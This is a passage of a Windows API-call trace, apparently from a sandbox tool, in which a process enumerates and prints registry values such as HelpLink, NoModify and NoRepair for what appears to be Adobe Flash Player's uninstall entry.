[0148.950] _errno () returned 0x204bb0 [0148.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.950] _errno () returned 0x204bb0 [0148.950] GetFileType (hFile=0x50) returned 0x1 [0148.950] lstrlenW (lpString="10.3.183.90") returned 11 [0148.950] GetConsoleOutputCP () returned 0x1b5 [0148.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.3.183.90", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.951] GetConsoleOutputCP () returned 0x1b5 [0148.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.3.183.90", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.3.183.90", lpUsedDefaultChar=0x0) returned 11 [0148.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.951] __iob_func () returned 0x7fefd702a80 [0148.951] _fileno (_File=0x7fefd702ab0) returned 1 [0148.951] _errno () returned 0x204bb0 [0148.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.951] _errno () returned 0x204bb0 [0148.951] GetFileType (hFile=0x50) returned 0x1 [0148.951] lstrlenW (lpString="\n") returned 1 [0148.951] GetConsoleOutputCP () returned 0x1b5 [0148.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.951] GetConsoleOutputCP () returned 0x1b5 [0148.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.951] GetProcessHeap () returned 0x3c0000 [0148.951] GetProcessHeap () returned 0x3c0000 [0148.951] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0148.951] GetProcessHeap () returned 0x3c0000 [0148.951] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0148.951] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0148.952] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.952] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0148.952] GetProcessHeap () returned 0x3c0000 [0148.952] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0148.952] GetProcessHeap () returned 0x3c0000 [0148.952] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.952] GetProcessHeap () returned 0x3c0000 [0148.952] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0148.952] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x1, pvData="http://www.adobe.com/go/flashplayer_support/", pcbData=0x29f780*=0x5a) returned 0x0 [0148.952] __iob_func () returned 0x7fefd702a80 [0148.952] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.952] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.952] _fileno (_File=0x7fefd702ab0) returned 1 [0148.952] _errno () returned 0x204bb0 [0148.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.952] _errno () returned 0x204bb0 [0148.952] GetFileType (hFile=0x50) returned 0x1 [0148.952] lstrlenW (lpString=" ") returned 4 [0148.952] GetConsoleOutputCP () returned 0x1b5 [0148.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.952] GetConsoleOutputCP () returned 0x1b5 [0148.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.952] lstrlenW (lpString="HelpLink") returned 8 [0148.952] __iob_func () returned 0x7fefd702a80 [0148.952] _fileno (_File=0x7fefd702ab0) returned 1 [0148.952] _errno () returned 0x204bb0 [0148.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.952] _errno () returned 0x204bb0 [0148.952] GetFileType (hFile=0x50) returned 0x1 [0148.953] lstrlenW (lpString="HelpLink") returned 8 [0148.953] GetConsoleOutputCP () returned 0x1b5 [0148.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.953] GetConsoleOutputCP () returned 0x1b5 [0148.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.953] __iob_func () returned 0x7fefd702a80 [0148.953] _fileno (_File=0x7fefd702ab0) returned 1 [0148.953] _errno () returned 0x204bb0 [0148.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.953] _errno () returned 0x204bb0 [0148.953] GetFileType (hFile=0x50) returned 0x1 [0148.953] lstrlenW (lpString=" ") returned 4 [0148.953] GetConsoleOutputCP () returned 0x1b5 [0148.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.953] GetConsoleOutputCP () returned 0x1b5 [0148.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.954] __iob_func () returned 0x7fefd702a80 [0148.954] _fileno (_File=0x7fefd702ab0) returned 1 [0148.954] _errno () returned 0x204bb0 [0148.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.954] _errno () returned 0x204bb0 [0148.954] GetFileType (hFile=0x50) returned 0x1 [0148.954] lstrlenW (lpString="REG_SZ") returned 6 [0148.954] GetConsoleOutputCP () returned 0x1b5 [0148.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.954] GetConsoleOutputCP () returned 0x1b5 [0148.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.954] __iob_func () returned 0x7fefd702a80 [0148.954] _fileno (_File=0x7fefd702ab0) returned 1 [0148.954] _errno () returned 0x204bb0 [0148.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.954] _errno () returned 0x204bb0 [0148.954] GetFileType (hFile=0x50) returned 0x1 [0148.954] lstrlenW (lpString=" ") returned 4 [0148.954] GetConsoleOutputCP () returned 0x1b5 [0148.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.954] GetConsoleOutputCP () returned 0x1b5 [0148.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.955] __iob_func () returned 0x7fefd702a80 [0148.955] _fileno (_File=0x7fefd702ab0) returned 1 [0148.955] _errno () returned 0x204bb0 [0148.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.955] _errno () returned 0x204bb0 [0148.955] GetFileType (hFile=0x50) returned 0x1 [0148.955] lstrlenW (lpString="http://www.adobe.com/go/flashplayer_support/") returned 44 [0148.955] GetConsoleOutputCP () returned 0x1b5 [0148.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/flashplayer_support/", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0148.955] GetConsoleOutputCP () returned 0x1b5 [0148.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/flashplayer_support/", cchWideChar=44, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/go/flashplayer_support/", lpUsedDefaultChar=0x0) returned 44 [0148.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 44 [0148.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.955] __iob_func () returned 0x7fefd702a80 [0148.955] _fileno (_File=0x7fefd702ab0) returned 1 [0148.955] _errno () returned 0x204bb0 [0148.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.955] _errno () returned 0x204bb0 [0148.955] GetFileType (hFile=0x50) returned 0x1 [0148.955] lstrlenW (lpString="\n") returned 1 [0148.955] GetConsoleOutputCP () returned 0x1b5 [0148.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.955] GetConsoleOutputCP () returned 0x1b5 [0148.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0148.956] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.956] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.956] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.956] GetProcessHeap () returned 0x3c0000 [0148.956] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.956] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0148.956] __iob_func () returned 0x7fefd702a80 [0148.956] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.956] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.956] _fileno (_File=0x7fefd702ab0) returned 1 [0148.956] _errno () returned 0x204bb0 [0148.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.956] _errno () returned 0x204bb0 [0148.956] GetFileType (hFile=0x50) returned 0x1 [0148.956] lstrlenW (lpString=" ") returned 4 [0148.956] GetConsoleOutputCP () returned 0x1b5 [0148.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.957] GetConsoleOutputCP () returned 0x1b5 [0148.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.957] lstrlenW (lpString="NoModify") returned 8 [0148.957] __iob_func () returned 0x7fefd702a80 [0148.957] _fileno (_File=0x7fefd702ab0) returned 1 [0148.957] _errno () returned 0x204bb0 [0148.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.957] _errno () returned 0x204bb0 [0148.957] GetFileType (hFile=0x50) returned 0x1 [0148.957] lstrlenW (lpString="NoModify") returned 8 [0148.957] GetConsoleOutputCP () returned 0x1b5 [0148.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.957] GetConsoleOutputCP () returned 0x1b5 [0148.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.957] __iob_func () returned 0x7fefd702a80 [0148.957] _fileno (_File=0x7fefd702ab0) returned 1 [0148.957] _errno () returned 0x204bb0 [0148.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.957] _errno () returned 0x204bb0 [0148.958] GetFileType (hFile=0x50) returned 0x1 [0148.958] lstrlenW (lpString=" ") returned 4 [0148.958] GetConsoleOutputCP () returned 0x1b5 [0148.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.958] GetConsoleOutputCP () returned 0x1b5 [0148.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.958] __iob_func () returned 0x7fefd702a80 [0148.958] _fileno (_File=0x7fefd702ab0) returned 1 [0148.958] _errno () returned 0x204bb0 [0148.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.958] _errno () returned 0x204bb0 [0148.958] GetFileType (hFile=0x50) returned 0x1 [0148.958] lstrlenW (lpString="REG_DWORD") returned 9 [0148.958] GetConsoleOutputCP () returned 0x1b5 [0148.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.958] GetConsoleOutputCP () returned 0x1b5 [0148.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.959] __iob_func () returned 0x7fefd702a80 [0148.959] _fileno (_File=0x7fefd702ab0) returned 1 [0148.959] _errno () returned 0x204bb0 [0148.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.959] _errno () returned 0x204bb0 [0148.959] GetFileType (hFile=0x50) returned 0x1 [0148.959] lstrlenW (lpString=" ") returned 4 [0148.959] GetConsoleOutputCP () returned 0x1b5 [0148.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.959] GetConsoleOutputCP () returned 0x1b5 [0148.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.959] __iob_func () returned 0x7fefd702a80 [0148.959] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.959] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0148.959] _fileno (_File=0x7fefd702ab0) returned 1 [0148.959] _errno () returned 0x204bb0 [0148.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.959] _errno () returned 0x204bb0 [0148.959] GetFileType (hFile=0x50) returned 0x1 [0148.959] lstrlenW (lpString="0x1") returned 3 [0148.959] GetConsoleOutputCP () returned 0x1b5 [0148.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.959] GetConsoleOutputCP () returned 0x1b5 [0148.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.960] __iob_func () returned 0x7fefd702a80 [0148.960] _fileno (_File=0x7fefd702ab0) returned 1 [0148.960] _errno () returned 0x204bb0 [0148.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.960] _errno () returned 0x204bb0 [0148.960] GetFileType (hFile=0x50) returned 0x1 [0148.960] lstrlenW (lpString="\n") returned 1 [0148.960] GetConsoleOutputCP () returned 0x1b5 [0148.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.960] GetConsoleOutputCP () returned 0x1b5 [0148.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.960] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.960] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.960] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.960] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.960] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.960] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.960] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.960] GetProcessHeap () returned 0x3c0000 [0148.961] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.961] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0148.961] __iob_func () returned 0x7fefd702a80 [0148.961] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.961] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.961] _fileno (_File=0x7fefd702ab0) returned 1 [0148.961] _errno () returned 0x204bb0 [0148.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.961] _errno () returned 0x204bb0 [0148.961] GetFileType (hFile=0x50) returned 0x1 [0148.961] lstrlenW (lpString=" ") returned 4 [0148.961] GetConsoleOutputCP () returned 0x1b5 [0148.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.961] GetConsoleOutputCP () returned 0x1b5 [0148.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.961] lstrlenW (lpString="NoRepair") returned 8 [0148.961] __iob_func () returned 0x7fefd702a80 [0148.961] _fileno (_File=0x7fefd702ab0) returned 1 [0148.961] _errno () returned 0x204bb0 [0148.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.961] _errno () returned 0x204bb0 [0148.961] GetFileType (hFile=0x50) returned 0x1 [0148.961] lstrlenW (lpString="NoRepair") returned 8 [0148.961] GetConsoleOutputCP () returned 0x1b5 [0148.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.962] GetConsoleOutputCP () returned 0x1b5 [0148.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 